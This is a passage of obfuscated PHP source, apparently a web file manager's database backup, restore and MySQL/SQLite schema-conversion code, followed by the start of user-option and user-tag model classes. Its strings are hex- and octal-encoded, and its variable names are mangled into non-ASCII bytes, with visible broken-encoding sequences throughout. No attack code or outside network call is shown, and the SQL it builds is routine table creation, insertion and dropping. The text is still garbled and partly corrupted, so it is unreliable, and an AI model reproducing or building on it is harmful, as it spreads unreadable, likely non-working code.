$ÊôæÝä<C39D>[1130])); } $this->database = $‹Ç®¸Æ´; $þôö€Ì¥ = $this->model()->db(); try { $ÑÞÜ‚íã = $þôö€Ì¥->execute("\163\x68\x6f\167\40\x64\141\x74\x61\142\x61\163\x65\163\x20\x6c\151\153\x65\x20\47{$â<>øæ¥}\47"); } catch (Exception $“„Ùî†Ú) { } if (!$ÑÞÜ‚íã) { $þôö€Ì¥->execute("\143\162\145\x61\164\x65\40\x64\141\x74\x61\142\x61\x73\x65\x20\140{$â<>øæ¥}\x60"); } $‹Ç®¸Æ´[$ÊôæÝä<C39D>[1043]] = $â<>øæ¥; if ($‹Ç®¸Æ´[$ÊôæÝä<C39D>[1038]] == $ÊôæÝä<C39D>[1035]) { $‹Ç®¸Æ´[$ÊôæÝä<C39D>[1044]] .= $ÊôæÝä<C39D>[1130] . $â<>øæ¥; } $this->database = $‹Ç®¸Æ´; $þôö€Ì¥->execute("\x75\x73\145\40\140{$â<>øæ¥}\x60"); return $þôö€Ì¥; } public function createTable($ׯŽÀõÆ, &$¤ä¬ßê‚) { $˜¦÷—Ì<E28094> =& $_SERVER[ˆ¡¹µ‹Â]; if (!IO::exist($ׯŽÀõÆ)) { ActionCall($˜¦÷—Ì<E28094>[1131], !0, 0); show_json(LNG($˜¦÷—Ì<E28094>[1132]), !1); } $ùƒôæ°¢ = $this->model()->db(); $…¹¥Â¡‘ = sqlSplit(IO::getContent($ׯŽÀõÆ)); foreach ($…¹¥Â¡‘ as $ò®Ïõ<C38F>Ì) { $óé¨àîñ = stripos($ò®Ïõ<C38F>Ì, $˜¦÷—Ì<E28094>[1133]) === 0; if ($óé¨àîñ) { $¤ä¬ßê‚->task[$˜¦÷—Ì<E28094>[1134]] += 1; } $ùƒôæ°¢->execute($ò®Ïõ<C38F>Ì); if ($óé¨àîñ) { preg_match($˜¦÷—Ì<E28094>[1135], $ò®Ïõ<C38F>Ì, $—Òª“ÑÒ); $¤ä¬ßê‚->task[$˜¦÷—Ì<E28094>[1136]] = $—Òª“ÑÒ[1]; $¤ä¬ßê‚->update(1); } } } public function insertTable($Íòíö£©, &$äéòè—±) { $µçßûÒÎ =& $_SERVER[ˆ¡¹µ‹Â]; $ïâ…Ôâ<C394> = $this->model()->db(); $ó…öñô¸ = $ž«ŽŒÓ  ? array($ž«ŽŒÓ ) : $ïâ…Ôâ<C394>->getTables(); foreach ($Íòíö£© as $¾ÒÖ›òô) { $ž«ŽŒÓ  = basename($¾ÒÖ›òô, $µçßûÒÎ[863]); if (!in_array($ž«ŽŒÓ , $ó…öñô¸)) { continue; } $äéòè—±->task[$µçßûÒÎ[1136]] = $ž«ŽŒÓ ; if (get_filesize($¾ÒÖ›òô) == 0) { continue; } $Ä™ëåë„ = $this->sqlToDb($¾ÒÖ›òô, $äéòè—±); if (!$Ä™ëåë„) { ActionCall($µçßûÒÎ[1131], !0, 0); show_json(LNG($µçßûÒÎ[1137]) . "\x5b{$ž«ŽŒÓ }\135", !1); } } } public function sqlFromDb($³ëºê§œ, $•¸¤é®˜, &$¦ÎƒÌí’, $ù—šäŽë = '') { if ($¦ÎƒÌí’) { $¦ÎƒÌí’->task[$_SERVER[ˆ¡¹µ‹Â][1136]] = $³ëºê§œ; } $êö¼¤·® = $this->model($³ëºê§œ); $ÑÒÜœµ± = 0; $ƒ» Ì»µ = 0; $’ȲÌú¬ = 10000; $‹ÌùÂ‘Û = fopen($•¸¤é®˜, $_SERVER[ˆ¡¹µ‹Â][1138]); $ïû‰Ð•ƒ = $êö¼¤·®->getPk(); $À°Ò—Â… = $êö¼¤·®->getDbFields(); $ÅŠà‰åÏ = $_SERVER[ˆ¡¹µ‹Â][12]; if ($GLOBALS[$_SERVER[ˆ¡¹µ‹Â][862]] && in_array($³ëºê§œ, array($_SERVER[ˆ¡¹µ‹Â][1139], $_SERVER[ˆ¡¹µ‹Â][1140]))) { $ÅŠà‰åÏ = $³ëºê§œ; } do { $°½—å÷¶ = array($ïû‰Ð•ƒ => array($_SERVER[ˆ¡¹µ‹Â][1085], $ƒ» Ì»µ)); $‰®±í“¡ = $êö¼¤·®->where($°½—å÷¶)->field($À°Ò—Â…)->order($ïû‰Ð•ƒ . $_SERVER[ˆ¡¹µ‹Â][1141])->limit($’ȲÌú¬)->select(); $‰®±í“¡ = !empty($‰®±í“¡) ? $‰®±í“¡ : array(); if (!($éÔ£Òðõ = count($‰®±í“¡))) { break; } $„¾äâÑ  = end($‰®±í“¡); $ƒ» Ì»µ = $„¾äâÑ [$ïû‰Ð•ƒ]; $ÆÜô´<C3B4>Å = array(); foreach ($‰®±í“¡ as $™„îݨŒ) { if ($ÅŠà‰åÏ) { if ($³ëºê§œ == $_SERVER[ˆ¡¹µ‹Â][1139]) { if ($™„îݨŒ[$_SERVER[ˆ¡¹µ‹Â][33]] == $_SERVER[ˆ¡¹µ‹Â][1142]) { $¶ãÖŒÛï = json_decode($™„îݨŒ[$_SERVER[ˆ¡¹µ‹Â][450]], !0); if ($¶ãÖŒÛï[$_SERVER[ˆ¡¹µ‹Â][32]] == $GLOBALS[$_SERVER[ˆ¡¹µ‹Â][862]] && $¶ãÖŒÛï[$_SERVER[ˆ¡¹µ‹Â][817]] != 1) { continue; } } } else { if ($™„îݨŒ[$_SERVER[ˆ¡¹µ‹Â][33]] == $_SERVER[ˆ¡¹µ‹Â][1143] && $™„îݨŒ[$_SERVER[ˆ¡¹µ‹Â][97]] == $_SERVER[ˆ¡¹µ‹Â][857]) { continue; } } } if ($ù—šäŽë) { $™„îݨŒ[$_SERVER[ˆ¡¹µ‹Â][87]] = "\173\x69\x6f\72{$ù—šäŽë}\x7d" . substr($™„îݨŒ[$_SERVER[ˆ¡¹µ‹Â][87]], strlen("\x7b\x69\157\x3a{$™„îݨŒ[$_SERVER[ˆ¡¹µ‹Â][892]]}\175")); $™„îݨŒ[$_SERVER[ˆ¡¹µ‹Â][892]] = $ù—šäŽë; } $ÆÜô´<C3B4>Å[] = $_SERVER[ˆ¡¹µ‹Â][1144] . $this->sqlEncode($™„îݨŒ) . $_SERVER[ˆ¡¹µ‹Â][1145]; } $¼Õ¯†Ÿô = "\x49\116\123\x45\x52\x54\x20\111\x4e\124\117\x20\140{$³ëºê§œ}\140\40\50\x60" . implode($_SERVER[ˆ¡¹µ‹Â][1146], $À°Ò—Â…) . $_SERVER[ˆ¡¹µ‹Â][1147]; fwrite($‹Ìù‘Û, $¼Õ¯†Ÿô . implode($_SERVER[ˆ¡¹µ‹Â][1148], $ÆÜô´<C3B4>Å) . $_SERVER[ˆ¡¹µ‹Â][74] . PHP_EOL); $ÑÒÜœµ± += $éÔ£Òðõ; if ($¦ÎƒÌí’) { $¦ÎƒÌí’->update($éÔ£Òðõ); } } while ($’ȲÌú¬ == $éÔ£Òðõ); fclose($‹Ìù‘Û); return $ÑÒÜœµ±; } public function sqlToDb($À•Þó…, &$²õ€óù‰) { $‡Ã¤æ§Ô =& $_SERVER[ˆ¡¹µ‹Â]; $ßä“ÉË× = $this->model()->db(); $<24>ÆìƒéÝ = @fopen($À•Þó…, $‡Ã¤æ§Ô[1149]); if (!$<24>ÆìƒéÝ) { return !1; } $§Û¼þ€ð = 0; $Èìʃó™ = $‡Ã¤æ§Ô[12]; $ë†ÄÐáÙ = array(); $ÌóÛÙ©ê = $this->dbType(); $Ì<>ê™¶» = $ÌóÛÙ©ê == $‡Ã¤æ§Ô[13] ? 500 : 2000; $º‡©<C2A9>î = basename($À•Þó…, $‡Ã¤æ§Ô[863]); $×ì¸Î¸Ê = 0; $´ª’Óƒ‰ = 4194304; while (!feof($<24>ÆìƒéÝ)) { $«ëª«Íþ = trim(fgets($<24>ÆìƒéÝ)); if (!$«ëª«Íþ) { continue; } $ß×<C397> = $this->sqlDecode($«ëª«Íþ, $ÌóÛÙ©ê, $º‡©<C2A9>î); if (stripos($ß×<C397>, $‡Ã¤æ§Ô[431]) === 0) { if (!$Èìʃó™) { $Èìʃó™ = $ß×<C397> . $‡Ã¤æ§Ô[53]; } continue; } if ($²õ€óù‰) { $²õ€óù‰->task[$‡Ã¤æ§Ô[1134]] += 1; } $§Û¼þ€ð++; $ë†ÄÐáÙ[] = rtrim(rtrim(trim($ß×<C397>), $‡Ã¤æ§Ô[50]), $‡Ã¤æ§Ô[74]); $ïÉÐÆà® = null; $é’¤¸è“ = strlen($ß×<C397>); $×ì¸Î¸Ê += $é’¤¸è“; $ü÷ÝÏ‹® = strlen($Èìʃó™) + $×ì¸Î¸Ê + (count($ë†ÄÐáÙ) - 1); if ($ü÷ÝÏ‹® >= $´ª’Óƒ‰) { $ïÉÐÆà® = array_pop($ë†ÄÐáÙ); if ($§Û¼þ€ð > 1) { $§Û¼þ€ð--; } } if ($§Û¼þ€ð >= $Ì<>ê™¶» || $ïÉÐÆà®) { $ß×<C397> = $Èìʃó™ . implode($‡Ã¤æ§Ô[50], $ë†ÄÐáÙ); if (!$ßä“ÉË×->execute($ß×<C397>)) { return !1; } if ($²õ€óù‰) { $²õ€óù‰->update($§Û¼þ€ð); } $ë†ÄÐáÙ = array(); $§Û¼þ€ð = 0; $×ì¸Î¸Ê = 0; if ($ïÉÐÆà®) { $ë†ÄÐáÙ = array($ïÉÐÆà®); $§Û¼þ€ð = 1; $×ì¸Î¸Ê = $é’¤¸è“; } } } fclose($<24>ÆìƒéÝ); if (!empty($ë†ÄÐáÙ)) { $ß×<C397> = $Èìʃó™ . implode($‡Ã¤æ§Ô[50], $ë†ÄÐáÙ); if (!$ßä“ÉË×->execute($ß×<C397>)) { return !1; } if ($²õ€óù‰) { $²õ€óù‰->update($§Û¼þ€ð); } } return !0; } public function dropTable($¢<>ۢ˻ = null) { $îµã„ìÕ = $this->model()->db(); $ÑÂÏš¦ã = $¢<>ۢ˻ ? array($¢<>ۢ˻) : $îµã„ìÕ->getTables(); if (!$ÑÂÏš¦ã) { return; } foreach ($ÑÂÏš¦ã as $¢<>ۢ˻) { if ($¢<>ۢ˻) { $¢<>ۢ˻ = strtolower($¢<>ۢ˻); } else { continue; } $îµã„ìÕ->execute("\x64\x72\x6f\160\x20\x74\141\x62\154\145\40\151\x66\40\145\x78\x69\163\x74\x73\40\140{$¢<>ۢ˻}\140"); } } private function sqlEncode($<24>²è<C2B2>—Ã) { $ó¬šô€‡ =& $_SERVER[ˆ¡¹µ‹Â]; $¨Š•À…¨ = array(); foreach ($<24>²è<C2B2>—à as $å÷Ë€ã´) { if (is_array($å÷Ë€ã´)) { $å÷ˀ㴠= json_encode_force($å÷Ë€ã´); } $å÷ˀ㴠= addslashes($å÷Ë€ã´); $å÷ˀ㴠= str_replace(array($ó¬šô€‡[1150], $ó¬šô€‡[262], $ó¬šô€‡[418]), array($ó¬šô€‡[1151], $ó¬šô€‡[1152], $ó¬šô€‡[1153]), $å÷Ë€ã´); $¨Š•À…¨[] = $å÷Ë€ã´; } return $ó¬šô€‡[58] . implode($ó¬šô€‡[1154], $¨Š•À…¨) . $ó¬šô€‡[58]; } private function sqlDecode($ÍšÚλÚ, $ü‘¾Žó¡, $<24> ŸÛ ˆ = '') { $¡Š<C2A1><C5A0>…ž =& $_SERVER[ˆ¡¹µ‹Â]; $ÍšÚÎ»Ú = str_replace(array($¡Š<C2A1><C5A0>…ž[1151], $¡Š<C2A1><C5A0>…ž[1152], $¡Š<C2A1><C5A0>…ž[1153]), array($¡Š<C2A1><C5A0>…ž[1150], $¡Š<C2A1><C5A0>…ž[262], $¡Š<C2A1><C5A0>…ž[418]), $ÍšÚλÚ); if ($ü‘¾Žó¡ == $¡Š<C2A1><C5A0>…ž[13]) { $ÍšÚÎ»Ú = str_ireplace($¡Š<C2A1><C5A0>…ž[1155], $¡Š<C2A1><C5A0>…ž[59], $ÍšÚλÚ); $ÍšÚÎ»Ú = stripslashes($ÍšÚλÚ); } return preg_replace($¡Š<C2A1><C5A0>…ž[1156], $¡Š<C2A1><C5A0>…ž[12], $ÍšÚλÚ); if ($ü‘¾Žó¡ == $¡Š<C2A1><C5A0>…ž[13]) { return $<24> ŸÛ ˆ != $¡Š<C2A1><C5A0>…ž[1157] ? stripslashes($ÍšÚλÚ) : $ÍšÚλÚ; } if ($<24> ŸÛ ˆ == $¡Š<C2A1><C5A0>…ž[1157]) { $ÍšÚÎ»Ú = str_replace($¡Š<C2A1><C5A0>…ž[1158], $¡Š<C2A1><C5A0>…ž[121], stripslashes($ÍšÚλÚ)); } return $ÍšÚλÚ; } public function getSqlFile($„³†Îߣ = '') { $Ìíáó‹ã =& $_SERVER[ˆ¡¹µ‹Â]; $·Œ§Õûä = $this->dbType(!0); $«ß—äþ‡ = CONTROLLER_DIR . "\x69\156\163\x74\141\154\154\57\144\141\x74\141\x2f{$·Œ§Õûä}\56\163\161\x6c"; $ëî<C3AB>«¨í = file_get_contents($«ß—äþ‡); $û›¦Ê§Æ = $Ìíáó‹ã[1159] . ($·Œ§Õûä == $Ìíáó‹ã[879] ? $Ìíáó‹ã[1160] : $Ìíáó‹ã[1161]) . $Ìíáó‹ã[1162]; preg_match_all($û›¦Ê§Æ, $ëî<C3AB>«¨í, $<24>Ù´ê«Ö); $÷°Ì³Û– = $<24>Ù´ê«Ö[1]; $ãÀ†òúŸ = $this->model()->db(); $•‘ŽëˆŠ = $ãÀ†òúŸ->getTables(); $à<C3A0>†ãÞ = TEMP_FILES . $Ìíáó‹ã[1163] . date($Ìíáó‹ã[272]) . $Ìíáó‹ã[8]; del_dir($à<C3A0>†ãÞ); mk_dir($à<C3A0>†ãÞ); $ëðާ<C5BD>¯ = $à<C3A0>†ãÞ . $Ìíáó‹ã[1164]; $Ñ<>¥µï… = $à<C3A0>†ãÞ . $Ìíáó‹ã[1165]; $‚ËÈ®ç˜ = $·Œ§Õûä == $Ìíáó‹ã[13] ? $Ìíáó‹ã[879] : $Ìíáó‹ã[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\x73\x74\x61\154\x6c\x2f\144\141\x74\141\57{$‚ËÈ®ç˜}\x2e\x73\161\x6c", $à<C3A0>†ãÞ); @touch($à<C3A0>†ãÞ . $·Œ§Õûä . $Ìíáó‹ã[863]); $žº·¿Ç² = fopen($ëðާ<C5BD>¯, $Ìíáó‹ã[1138]); $š³»Ü£€ = fopen($Ñ<>¥µï…, $Ìíáó‹ã[1138]); if ($·Œ§Õûä == $Ìíáó‹ã[13]) { $•‘ŽëˆŠ = array_diff($•‘ŽëˆŠ, array($Ìíáó‹ã[855], $Ìíáó‹ã[856])); $<24><>æ…ÆÃ = array($Ìíáó‹ã[1166], $Ìíáó‹ã[1167], $Ìíáó‹ã[1168]); fwrite($š³»Ü£€, implode(PHP_EOL, $<24><>æ…ÆÃ) . PHP_EOL . PHP_EOL); foreach ($•‘ŽëˆŠ as $÷ÌŒâ¿ù) { $Šñû±²¤ = $this->sqlFromSqlite($÷ÌŒâ¿ù); if (!$Šñû±²¤[$Ìíáó‹ã[13]]) { continue; } fwrite($š³»Ü£€, $Šñû±²¤[$Ìíáó‹ã[13]] . PHP_EOL . PHP_EOL); if (!in_array($÷ÌŒâ¿ù, $÷°Ì³Û–)) { fwrite($žº·¿Ç², $Šñû±²¤[$Ìíáó‹ã[879]] . PHP_EOL . PHP_EOL); } } } else { foreach ($•‘ŽëˆŠ as $÷ÌŒâ¿ù) { $Šñû±²¤ = $this->sqlFromMysql($÷ÌŒâ¿ù); if (!$Šñû±²¤[$Ìíáó‹ã[879]]) { continue; } fwrite($žº·¿Ç², $Šñû±²¤[$Ìíáó‹ã[879]] . PHP_EOL . PHP_EOL); if (!in_array($÷ÌŒâ¿ù, $÷°Ì³Û–)) { fwrite($š³»Ü£€, $Šñû±²¤[$Ìíáó‹ã[13]] . PHP_EOL . PHP_EOL); } } } fclose($žº·¿Ç²); fclose($š³»Ü£€); $ëî<C3AB>«¨í = array($Ìíáó‹ã[879] => $ëðާ<C5BD>¯, $Ìíáó‹ã[13] => $Ñ<>¥µï…); return $„³†Îߣ ? $ëî<C3AB>«¨í[$„³†Îߣ] : $ëî<C3AB>«¨í; } public function dbType($ž¢õ„·Õ = false) { $¹¸ášþ  =& $_SERVER[ˆ¡¹µ‹Â]; $÷øüí±¤ = $ž¢õ„·Õ ? $GLOBALS[$¹¸ášþ [6]][$¹¸ášþ [21]] : $this->database; $÷øüí±¤ = array_change_key_case($÷øüí±¤); $‰“—‡ºÝ = $÷øüí±¤[$¹¸ášþ [1038]]; if ($‰“—‡ºÝ == $¹¸ášþ [1035]) { $ч­äÓâ = explode($¹¸ášþ [4], $÷øüí±¤[$¹¸ášþ [1044]]); $‰“—‡ºÝ = $ч­äÓâ[0]; } $€‰œì²‚ = array($¹¸ášþ [1169] => $¹¸ášþ [13], $¹¸ášþ [983] => $¹¸ášþ [879]); if (isset($€‰œì²‚[$‰“—‡ºÝ])) { $‰“—‡ºÝ = $€‰œì²‚[$‰“—‡ºÝ]; } return $‰“—‡ºÝ; } public function sqlFromMysql($ÚºË׫², $¿<>Ùð§Ð = '') { $¿á·…Á¯ =& $_SERVER[ˆ¡¹µ‹Â]; $›–šÃ•ƒ = $this->model()->db(); $ˆë·ØÎŸ = $›–šÃ•ƒ->query($¿á·…Á¯[1170] . $ÚºË׫² . $¿á·…Á¯[461]); if (!$ˆë·ØÎŸ || !$ˆë·ØÎŸ[0]) { return !1; } $¡ïÆ ºœ = _get($ˆë·ØÎŸ[0], $¿á·…Á¯[1171], $¿á·…Á¯[12]); if (!$¡ïÆ ºœ) { return !1; } $‹£œðÎþ = "\x44\x52\x4f\x50\x20\x54\x41\102\114\x45\x20\111\x46\x20\x45\x58\111\123\x54\123\x20\x60{$ÚºË׫²}\x60\73" . PHP_EOL . $¡ïÆ ºœ . $¿á·…Á¯[74]; if ($¿<>Ùð§Ð && $¿<>Ùð§Ð == $¿á·…Á¯[879]) { return $‹£œðÎþ; } $èà ü‘Í = array_change_key_case($GLOBALS[$¿á·…Á¯[6]][$¿á·…Á¯[21]]); $ïìçÕâ¾ = $èà ü‘Í[$¿á·…Á¯[1043]]; $ûœ§¾çü = $¿á·…Á¯[1172] . $ïìçÕâ¾ . $¿á·…Á¯[1173] . $ÚºË׫² . $¿á·…Á¯[58]; $ëÕŒúöÝ = $¿á·…Á¯[1174] . $ÚºË׫² . $¿á·…Á¯[971]; $¢„…ñìÕ = $›–šÃ•ƒ->query($ûœ§¾çü); if (empty($¢„…ñìÕ)) { $⊸µÚ† = array($¿á·…Á¯[879] => $¿á·…Á¯[12], $¿á·…Á¯[13] => $¿á·…Á¯[12]); return $¿<>Ùð§Ð ? $⊸µÚ†[$¿<>Ùð§Ð] : $⊸µÚ†; } $êè<C3AA>¯¡ü = $›–šÃ•ƒ->query($ëÕŒúöÝ); $Üëæƒ…ì = $¿á·…Á¯[12]; $Íýùßµ‰ = array(); foreach ($êè<C3AA>¯¡ü as $®ƒéÕ¯µ) { if (!$Üëæƒ…ì && $®ƒéÕ¯µ[$¿á·…Á¯[1175]] == $¿á·…Á¯[1176]) { $Üëæƒ…ì = $®ƒéÕ¯µ[$¿á·…Á¯[1177]]; } if (isset($Íýùßµ‰[$®ƒéÕ¯µ[$¿á·…Á¯[1175]]])) { $Íýùßµ‰[$®ƒéÕ¯µ[$¿á·…Á¯[1175]]][$¿á·…Á¯[1178]][] = $®ƒéÕ¯µ[$¿á·…Á¯[1177]]; continue; } $Íýùßµ‰[$®ƒéÕ¯µ[$¿á·…Á¯[1175]]] = array($¿á·…Á¯[1179] => $®ƒéÕ¯µ[$¿á·…Á¯[1175]], $¿á·…Á¯[1178] => array($®ƒéÕ¯µ[$¿á·…Á¯[1177]]), $¿á·…Á¯[1180] => $®ƒéÕ¯µ[$¿á·…Á¯[1181]] == $¿á·…Á¯[91] ? 0 : 1); } $Ú<><C39A>‡®Í = array(); foreach ($Íýùßµ‰ as $®ƒéÕ¯µ) { $Ãùƒøóê = $®ƒéÕ¯µ[$¿á·…Á¯[1179]] == $¿á·…Á¯[1176]; $õ«ÔÁëþ = array($¿á·…Á¯[1182], $®ƒéÕ¯µ[$¿á·…Á¯[1180]] == $¿á·…Á¯[91] && !$Ãùƒøóê ? $¿á·…Á¯[1183] : $¿á·…Á¯[12], $¿á·…Á¯[1184], $¿á·…Á¯[1185] . $ÚºË׫² . $¿á·…Á¯[11] . ($Ãùƒøóê ? $¿á·…Á¯[1186] : $®ƒéÕ¯µ[$¿á·…Á¯[1179]]) . $¿á·…Á¯[121], $¿á·…Á¯[1187], $¿á·…Á¯[121] . $ÚºË׫² . $¿á·…Á¯[121], $¿á·…Á¯[1188] . implode($¿á·…Á¯[1189], $®ƒéÕ¯µ[$¿á·…Á¯[1178]]) . $¿á·…Á¯[1190]); $Ú<><C39A>‡®Í[] = implode($¿á·…Á¯[53], $õ«ÔÁëþ) . $¿á·…Á¯[74]; } $ŦÍÜ‚¼ = array(); $Ò‰»±Üä = array($¿á·…Á¯[1191] => $¿á·…Á¯[1192], $¿á·…Á¯[1192] => $¿á·…Á¯[1192], $¿á·…Á¯[364] => $¿á·…Á¯[391], $¿á·…Á¯[363] => $¿á·…Á¯[391]); foreach ($¢„…ñìÕ as $®ƒéÕ¯µ) { $õ«ÔÁëþ = array($¿á·…Á¯[121] . $®ƒéÕ¯µ[$¿á·…Á¯[1193]] . $¿á·…Á¯[121], isset($Ò‰»±Üä[$®ƒéÕ¯µ[$¿á·…Á¯[1194]]]) ? $Ò‰»±Üä[$®ƒéÕ¯µ[$¿á·…Á¯[1194]]] : $®ƒéÕ¯µ[$¿á·…Á¯[1195]], $®ƒéÕ¯µ[$¿á·…Á¯[1196]] == $¿á·…Á¯[969] ? $¿á·…Á¯[1197] : $¿á·…Á¯[1198], $®ƒéÕ¯µ[$¿á·…Á¯[1193]] == $Üëæƒ…ì ? $¿á·…Á¯[1199] : $¿á·…Á¯[12], $®ƒéÕ¯µ[$¿á·…Á¯[1020]] ? strtoupper(str_replace($¿á·…Á¯[11], $¿á·…Á¯[12], $®ƒéÕ¯µ[$¿á·…Á¯[1020]])) : $¿á·…Á¯[12]); $ŦÍÜ‚¼[] = trim(implode($¿á·…Á¯[53], $õ«ÔÁëþ)); } $¬äŠË¶î = array($¿á·…Á¯[1200] . $ÚºË׫² . $¿á·…Á¯[1201], $¿á·…Á¯[1202] . $ÚºË׫² . $¿á·…Á¯[1203], implode($¿á·…Á¯[50] . PHP_EOL, $ŦÍÜ‚¼), $¿á·…Á¯[1017]); $ôÔÛ›õº = implode(PHP_EOL, array_merge($¬äŠË¶î, $Ú<><C39A>‡®Í)); if ($¿<>Ùð§Ð && $¿<>Ùð§Ð == $¿á·…Á¯[13]) { return $ôÔÛ›õº; } $⊸µÚ† = array($¿á·…Á¯[879] => $‹£œðÎþ, $¿á·…Á¯[13] => $ôÔÛ›õº); return $¿<>Ùð§Ð ? $⊸µÚ†[$¿<>Ùð§Ð] : $⊸µÚ†; } public function sqlFromSqlite($–Öñ¢¶ó, $¼’ý¹‘ï = '') { $Äü¾Ì¬§ =& $_SERVER[ˆ¡¹µ‹Â]; $Á‹Ìµò¨ = $this->model()->db(); $ÔÜœž¡– = "\x50\122\x41\107\x4d\101\40\x54\101\x42\x4c\105\x5f\x49\x4e\106\117\40\x28\x27{$–Öñ¢¶ó}\x27\51"; $œ¿ªôì• = "\123\x45\114\105\x43\x54\40\52\x20\106\x52\x4f\115\40\163\161\x6c\x69\x74\x65\x5f\155\141\x73\x74\145\x72\40\127\110\105\122\x45\40\x74\142\x6c\x5f\x6e\x61\x6d\145\40\75\x20\x27{$–Öñ¢¶ó}\x27"; $«Ì<E28098>¬õ = $Á‹Ìµò¨->query($ÔÜœž¡–); if (empty($«Ì<E28098>¬õ)) { $®îŒÞôÇ = array($Äü¾Ì¬§[879] => $Äü¾Ì¬§[12], $Äü¾Ì¬§[13] => $Äü¾Ì¬§[12]); return $¼’ý¹‘ï ? $®îŒÞôÇ[$¼’ý¹‘ï] : $®îŒÞôÇ; } $š™Ò“<C392>Š = $Á‹Ìµò¨->query($œ¿ªôì•); $‰ÎŠÝ ‡ = $ÔöÉñ€— = array(); foreach ($š™Ò“<C392>Š as $¬­ø<C2AD>†) { if ($¬­ø<C2AD>†[$Äü¾Ì¬§[33]] == $Äü¾Ì¬§[356]) { $‰ÎŠÝ ‡[] = $¬­ø<C2AD>†[$Äü¾Ì¬§[1204]]; } else { $ÔöÉñ€—[$¬­ø<C2AD>†[$Äü¾Ì¬§[32]]] = $¬­ø<C2AD>†[$Äü¾Ì¬§[1204]]; } } $Ϋ<C38E>¿ö´ = array_merge(array($Äü¾Ì¬§[1200] . $–Öñ¢¶ó . $Äü¾Ì¬§[121]), $‰ÎŠÝ ‡, array_values($ÔöÉñ€—)); $Ϋ<C38E>¿ö´ = implode($Äü¾Ì¬§[74] . PHP_EOL, $Ϋ<C38E>¿ö´) . $Äü¾Ì¬§[74]; if ($¼’ý¹‘ï && $¼’ý¹‘ï == $Äü¾Ì¬§[13]) { return $Ϋ<C38E>¿ö´; } $Þ؃Ë = array(); $å¹§Þ†± = array($Äü¾Ì¬§[1192] => $Äü¾Ì¬§[1205], $Äü¾Ì¬§[391] => $Äü¾Ì¬§[1206]); $‚­¼±Ý© = $Äü¾Ì¬§[12]; foreach ($«Ì<E28098>¬õ as $¬­ø<C2AD>†) { if ($¬­ø<C2AD>†[$Äü¾Ì¬§[57]] == $Äü¾Ì¬§[91]) { $‚­¼±Ý© = $¬­ø<C2AD>†[$Äü¾Ì¬§[32]]; } $›۰ßè = array($Äü¾Ì¬§[461] . $¬­ø<C2AD>†[$Äü¾Ì¬§[32]] . $Äü¾Ì¬§[461], isset($å¹§Þ†±[$¬­ø<C2AD>†[$Äü¾Ì¬§[33]]]) ? $å¹§Þ†±[$¬­ø<C2AD>†[$Äü¾Ì¬§[33]]] : $¬­ø<C2AD>†[$Äü¾Ì¬§[33]], $¬­ø<C2AD>†[$Äü¾Ì¬§[35]] == $Äü¾Ì¬§[91] ? $Äü¾Ì¬§[1197] : $Äü¾Ì¬§[1207] . $¬­ø<C2AD>†[$Äü¾Ì¬§[56]], $¬­ø<C2AD>†[$Äü¾Ì¬§[57]] == $Äü¾Ì¬§[91] ? $Äü¾Ì¬§[1208] : $Äü¾Ì¬§[12]); $Þ؃ËÂ[] = trim(implode($Äü¾Ì¬§[53], $›۰ßè)); } foreach ($ÔöÉñ€— as $¥¶ìÖÀî => $©Ö•ÃÖì) { $ü»ÈÞ°¡ = str_replace($Äü¾Ì¬§[1209] . $–Öñ¢¶ó . $Äü¾Ì¬§[11], $Äü¾Ì¬§[12], $¥¶ìÖÀî); $³´žèч = str_replace(array($Äü¾Ì¬§[121], $Äü¾Ì¬§[1028]), $Äü¾Ì¬§[461], substr($©Ö•ÃÖì, stripos($©Ö•ÃÖì, $Äü¾Ì¬§[337]))); if ($ü»ÈÞ°¡ == $Äü¾Ì¬§[1186]) { $ö̶—‚‘ = $Äü¾Ì¬§[1210] . $‚­¼±Ý© . $Äü¾Ì¬§[1211]; } else { $ö̶—‚‘ = (stripos($ü»ÈÞ°¡, $Äü¾Ì¬§[11]) ? $Äü¾Ì¬§[1212] : $Äü¾Ì¬§[12]) . ($Äü¾Ì¬§[1213] . $ü»ÈÞ°¡ . $Äü¾Ì¬§[1214] . $³´žèч); } $Þ؃ËÂ[] = $ö̶—‚‘; } $¼ËŽ<C38B>ÈÓ = array($Äü¾Ì¬§[1215] . $–Öñ¢¶ó . $Äü¾Ì¬§[1216], $Äü¾Ì¬§[1217] . $–Öñ¢¶ó . $Äü¾Ì¬§[1218], implode($Äü¾Ì¬§[50] . PHP_EOL, $Þ؃ËÂ), $Äü¾Ì¬§[1219]); $øñÙÒè¹ = implode(PHP_EOL, $¼ËŽ<C38B>ÈÓ); if ($¼’ý¹‘ï && $¼’ý¹‘ï == $Äü¾Ì¬§[879]) { return $øñÙÒè¹; } $®îŒÞôÇ = array($Äü¾Ì¬§[879] => $øñÙÒè¹, $Äü¾Ì¬§[13] => $Ϋ<C38E>¿ö´); return $¼’ý¹‘ï ? $®îŒÞôÇ[$¼’ý¹‘ï] : $®îŒÞôÇ; } } goto aôÄ<C3B4>‡Û­…; AöÈòÌÈíŠ: class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\145\x72\137\x6f\x70\x74\151\157\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($²ëçò³) { $Þ¡ª¨ÕÚ =& $_SERVER[ˆ¡¹µ‹Â]; $—¬è<C2AC>ñÓ = defined($Þ¡ª¨ÕÚ[2189]) && USER_ID ? USER_ID : $Þ¡ª¨ÕÚ[12]; return "\125\x73\x65\162\117\x70\x74\151\157\x6e\x5f{$²ëçò³}\137" . $—¬è<C2AC>ñÓ; } protected function filterWhere($ï<>¯ëËå) { $åÐê˜ö² =& $_SERVER[ˆ¡¹µ‹Â]; $ï<>¯ëËå[$åÐê˜ö²[1763]] = defined($åÐê˜ö²[2189]) && USER_ID ? USER_ID : $åÐê˜ö²[12]; return $ï<>¯ëËå; } public function cacheRemoveUser($뎿˜£¥, $ƒÇ‚¬®Ý) { return Cache::remove("\125\163\x65\x72\117\x70\164\x69\x6f\x6e\x5f{$뎿˜£¥}\137" . $ƒÇ‚¬®Ý); } protected function optionDefault($ô—<C3B4>¾Æ = '') { $˜Ù²Äß» =& $_SERVER[ˆ¡¹µ‹Â]; if ($ô—<C3B4>¾Æ == $˜Ù²Äß»[12]) { return $GLOBALS[$˜Ù²Äß»[6]][$˜Ù²Äß»[2494]]; } if ($ô—<C3B4>¾Æ == $˜Ù²Äß»[2495]) { return $GLOBALS[$˜Ù²Äß»[6]][$˜Ù²Äß»[2496]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = 